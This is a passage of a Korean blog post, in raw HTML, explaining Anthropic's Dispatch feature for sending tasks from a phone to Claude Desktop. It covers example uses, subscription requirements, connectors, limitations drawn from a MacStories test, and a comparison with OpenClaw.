&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDcDT%2FdJMcahX4zpD%2F3p0QospTzI7U8YkL6rT6yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;1528&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;하나의 지속적인 대화 스레드&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 &lt;b&gt;단일 지속 스레드(single persistent conversation thread)&lt;/b&gt; 구조이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;폰에서 보낸 메시지와 데스크탑에서 받은 메시지가 모두 같은 대화 안에 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 흐름 예시&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;외출 중에 폰에서 &quot;지난주 Slack 메시지에서 미팅 요약해서 Google Drive에 저장해줘&quot; &amp;rarr; 집 컴퓨터의 Claude가 Slack 커넥터로 메시지 검색, Drive 커넥터로 파일 생성 &amp;rarr; 작업 완료 후 같은 대화 스레드에 결과 메시지 전송 &amp;rarr; 카페에서 폰으로 확인&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단, 현재는 스레드가 하나로 고정된다. 여러 스레드를 만들거나 관리하는 기능은 아직 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 작업이 가능한가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 문서에서 직접 언급한 사용 예시들이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;로컬 스프레드시트에서 데이터를 가져와 요약 보고서 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Slack 메시지와 이메일을 검색해 브리핑 문서 초안 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Google Drive 파일로 포맷된 프레젠테이션 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;컴퓨터 내 특정 폴더의 파일 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결국 폰으로 할 수 없는 작업을 데스크탑이 대신 처리하는 구조다. 데스크탑에 설정된 모든 커넥터, 플러그인, 파일 접근 권한이 그대로 활용된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 설정 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4.&amp;nbsp; 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 구독 요구사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch를 사용하려면 &lt;b&gt;Max($100~$200/월) 또는 Pro($20/월) 구독&lt;/b&gt;이 필요하다.&lt;br /&gt;2026년 3월 17일 기준 Max 플랜은 즉시 사용 가능, Pro 플랜은 며칠 내 순차 확장 중이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시작 전에 다음을 확인한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Max 또는 Pro 구독 상태 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude Desktop 앱 최신 버전 업데이트 &amp;mdash; macOS / Windows 지원 (claude.com/download) 단,&amp;nbsp;Windows에서는&amp;nbsp;설정&amp;nbsp;오류가&amp;nbsp;다수&amp;nbsp;보고되고&amp;nbsp;있어&amp;nbsp;현재&amp;nbsp;macOS가&amp;nbsp;안정적이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude 모바일 앱(iOS / Android) 최신 버전 업데이트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;두 앱 모두 같은 계정으로 로그인&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 할 수 있는 작업들 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 할 수 있는 작업 예시&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CfRC8/dJMcafTAsvQ/kvHHhL39HKjHGij8FZJ7D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CfRC8/dJMcafTAsvQ/kvHHhL39HKjHGij8FZJ7D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CfRC8/dJMcafTAsvQ/kvHHhL39HKjHGij8FZJ7D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCfRC8%2FdJMcafTAsvQ%2FkvHHhL39HKjHGij8FZJ7D1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1088&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;출근길 보고서 준비&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지하철에서 폰으로 &quot;오늘 오전 회의 전까지 Q1 실적 데이터 분석해서 요약 보고서 만들어줘&quot;라고 지시한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;집 컴퓨터의 Claude가 로컬 스프레드시트와 Google Drive를 열어 보고서를 작성한다. 회사 도착하면 완성된 문서가 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실용 포인트:&lt;/b&gt; 폰에서는 로컬 파일에 접근할 수 없지만, Dispatch가 데스크탑 Claude를 통해 대신 처리한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;회의 중 Slack 메시지 정리&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;회의 중 폰으로 &quot;지난주 Slack #dev 채널 메시지 중 미결 사항만 추려서 리스트 만들어줘&quot;라고 입력한다. 회의가 끝날 때쯤 정리된 리스트를 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;장기 작업 위임 후 자리 비우기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;무거운 데이터 처리나 문서 생성처럼 시간이 걸리는 작업을 지시하고, 외출하거나 다른 일을 한다. 돌아와서 Dispatch 대화를 확인하면 결과가 나와 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 현재 작업 완료 알림(푸시 알림)이 없다. 결과를 확인하려면 직접 대화창을 열어야 한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;접근 가능한 커넥터&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork에 설정된 커넥터라면 Dispatch에서도 모두 활용할 수 있다. 현재 지원되는 주요 커넥터다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;커넥터&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;구글&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Gmail, Google Drive, Google Calendar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;마이크로소프트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Microsoft 365 (Outlook, OneDrive)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;협업 툴&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Slack, Notion, Linear&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;개발&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기타&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;DocuSign 등 (총 38개 이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 현재 한계 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 현재 한계와 솔직한 평가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MacStories 실전 테스트 결과&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MacStories가 Dispatch 출시 직후 직접 테스트한 결과가 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MacStories 테스트 결과 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;다양한 작업 테스트 &amp;rarr; &lt;b&gt;절반 정도만 성공&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;전반적으로 &lt;b&gt;느리고 불안정&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;성공: 파일/데이터 검색&amp;middot;요약, 커넥터 연동 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;실패: Shortcuts 앱 열기, iMessage로 스크린샷 전송, Terminal 세션 목록 조회, Safari 탭 URL 가져오기&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MacStories의 총평이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;자리를 비웠을 때 의존하기엔 충분하지 않다. 하지만 Claude의 다른 모바일 기능들과 함께 보면 여전히 가능성이 있다.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; MacStories, Dispatch 핸즈온 리뷰&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Research Preview 단계임을 감안하면 이해할 수 있는 결과다. 지금 당장 업무를 완전히 맡기기보다는, 단순한 조회&amp;middot;요약 작업부터 써보면서 익히는 게 현실적이며, 금방 발전하지 않을까?&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 제약사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데스크탑 상시 실행 필요:&lt;/b&gt; 컴퓨터가 켜져 있고 Claude Desktop 앱이 열려 있어야 한다. 백그라운드 서비스로 자동 실행되지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업 완료 알림 없음:&lt;/b&gt; 모바일이나 데스크탑 모두 작업이 끝나도 푸시 알림이 오지 않는다. 직접 대화창을 열어서 확인해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;단일 스레드:&lt;/b&gt; 대화 스레드가 하나만 유지된다. 여러 스레드를 동시에 관리하거나 새 스레드를 시작하는 기능이 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude가 먼저 연락하지 않음:&lt;/b&gt; 사용자가 지시한 작업만 수행한다. 자발적으로 업데이트를 보내거나 먼저 연락하지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Research Preview 단계:&lt;/b&gt; 아직 실험적 기능이다. 안정성과 신뢰도가 계속 개선되고 있는 중이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문제 상황별 대처&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;QR코드 스캔이 안 될 때:&lt;/b&gt; 데스크탑과 모바일 앱이 같은 계정으로 로그인되어 있는지 확인한다. 앱 버전이 최신인지도 체크한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;페어링 후 연결이 끊어질 때:&lt;/b&gt; 데스크탑이 슬립 모드로 전환되거나 Claude 앱이 종료된 경우다. 앱을 다시 열고 Dispatch에서 재연결한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업 지시 후 아무 반응이 없을 때:&lt;/b&gt; 데스크탑에서 Claude 앱이 실행 중인지 확인한다. 앱이 닫혀 있으면 Dispatch가 동작하지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완료 여부를 모를 때:&lt;/b&gt; 알림이 없으므로 직접 대화창을 열어서 확인해야 한다. 긴 작업을 지시할 때는 예상 소요 시간을 함께 물어보는 것도 방법이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: OpenClaw vs Dispatch --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. OpenClaw vs Dispatch 비교&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgNOCe/dJMcaiJuDin/RS4vW5kEp6LK5hfNaZ26Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgNOCe/dJMcaiJuDin/RS4vW5kEp6LK5hfNaZ26Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgNOCe/dJMcaiJuDin/RS4vW5kEp6LK5hfNaZ26Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgNOCe%2FdJMcaiJuDin%2FRS4vW5kEp6LK5hfNaZ26Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1074&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구조적 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;업계에서 자주 등장하는 비교가 &quot;OpenClaw = 로컬 GPU 실행, Dispatch = 클라우드 모델 + 로컬 파일 접근&quot;이다. 이 표현은 부분적으로만 정확하다. 실제 구조를 정리하면 이렇다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Dispatch (Cowork)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;소스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;오픈소스 (자가 호스팅 가능)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;클로즈드 소스 (Anthropic 독점)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI 모델&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude, GPT, 로컬 모델(Ollama) 선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 클라우드 모델만 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;에이전트 실행&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 로직은 로컬, 모델은 클라우드 API 경유 (하이브리드)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 로직은 로컬 데스크탑, Claude 모델은 Anthropic 클라우드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가격&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모델 API 비용 별도&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Max $100~/월 또는 Pro $20/월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;설정 난이도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;중간 (기술적 설정 필요 / 물론 요즘엔 딸깍 설정도 존재)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;낮음 (QR코드 스캔으로 완료)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;자가 호스팅 시 완전 로컬 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 클라우드를 통한 브릿지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenClaw에 대한 오해 하나&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;OpenClaw = 로컬 GPU 실행&quot;이라고 알려져 있지만, 대부분의 사용자는 Claude API나 GPT API를 사용한다. &lt;br /&gt;즉, &lt;b&gt;에이전트 로직은 로컬, 모델 추론은 클라우드&lt;/b&gt;인 하이브리드 구조가 일반적이다. &lt;br /&gt;순수 로컬 실행(NVIDIA RTX + Ollama)은 가능하지만 주류 사용 패턴은 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;누구에게 어떤 선택이 맞는가&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenClaw가 맞는 경우&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;다양한 메신저(WhatsApp, Telegram 등)로 접근하고 싶은 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모델을 직접 선택하거나 로컬 모델을 사용하고 싶은 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;오픈소스 / 자가 호스팅을 원하는 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기술적 설정에 익숙한 개발자&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Dispatch(Cowork)가 맞는 경우&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;이미 Claude Pro/Max 구독 중인 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;설정 없이 바로 시작하고 싶은 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Cowork의 38개 이상 커넥터 생태계를 활용 중인 경우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Anthropic 공식 통합과 보안 모델을 선호하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 방향이지만 전략이 다르다. 오픈소스 생태계 vs 구독 기반 통합 경험.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 구독 플랜 --&gt;
